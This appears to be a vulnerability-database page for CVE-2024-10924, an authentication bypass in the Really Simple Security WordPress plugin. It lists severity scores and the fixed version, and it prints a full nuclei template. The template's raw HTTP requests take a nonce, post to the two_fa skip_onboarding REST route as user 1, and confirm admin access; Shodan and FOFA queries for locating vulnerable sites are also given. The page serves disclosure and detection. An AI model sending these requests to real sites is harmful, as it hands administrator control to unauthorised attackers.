HexBrain

Browse / CVEs / CVE-2024-10924

CVE-2024-10924· really-simple-plugins / really simple security· CWE-288, CWE-306

Really Simple Security < 9.1.2 - Authentication Bypass

criticalseverity
9.8CVSS score
82.2%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).

Impact

Unauthenticated attackers can exploit improper error handling in the two-factor authentication REST API to bypass authentication and log in as any user including administrators when two-factor authentication is enabled.

Fix

Fixed in 9.1.2

How to confirm it

Send: GET /wp-login.php
Send: POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding
Positive when: contains "\"redirect_to\":\"\\/wp-admin\\/\""
Send: GET /wp-admin/profile.php
Positive when: contains "Personal Options" AND contains in content_type "text/html"

Run it with nuclei: nuclei -id CVE-2024-10924 -u <target>

The full check
id: CVE-2024-10924

info:
  name: Really Simple Security < 9.1.2 - Authentication Bypass
  author: yaser_s
  severity: critical
  description: |
    The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
  impact: |
    Unauthenticated attackers can exploit improper error handling in the two-factor authentication REST API to bypass authentication and log in as any user including administrators when two-factor authentication is enabled.
  remediation: Fixed in 9.1.2
  reference:
    - https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L277
    - https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L278
    - https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L67
    - https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
    - https://wpscan.com/vulnerability/8e1f4374-2e41-4c27-80d4-db172015c6be/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-10924
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-10924
    cwe-id: CWE-288,CWE-306
    epss-score: 0.82218
    epss-percentile: 0.9966
    cpe: cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:-:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: really-simple-plugins
    product: really_simple_security
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/really-simple-ssl"
    fofa-query: body="/wp-content/plugins/really-simple-ssl"
  tags: cve,cve2024,wp,wp-plugin,wordpress,auth-bypass,really-simple-ssl,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body_1
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)"\}'
        internal: true

  - raw:
      - |
        POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
            "user_id": 1,
            "login_nonce": "{{nonce}}",
            "redirect_to": "/wp-admin/"
        }

    matchers:
      - type: word
        part: body
        words:
          - '"redirect_to":"\/wp-admin\/"'
        internal: true

  - raw:
      - |
        GET /wp-admin/profile.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Personal Options'

      - type: word
        part: content_type
        words:
          - 'text/html'

References

Use this check only on systems you are authorised to test. Where the data comes from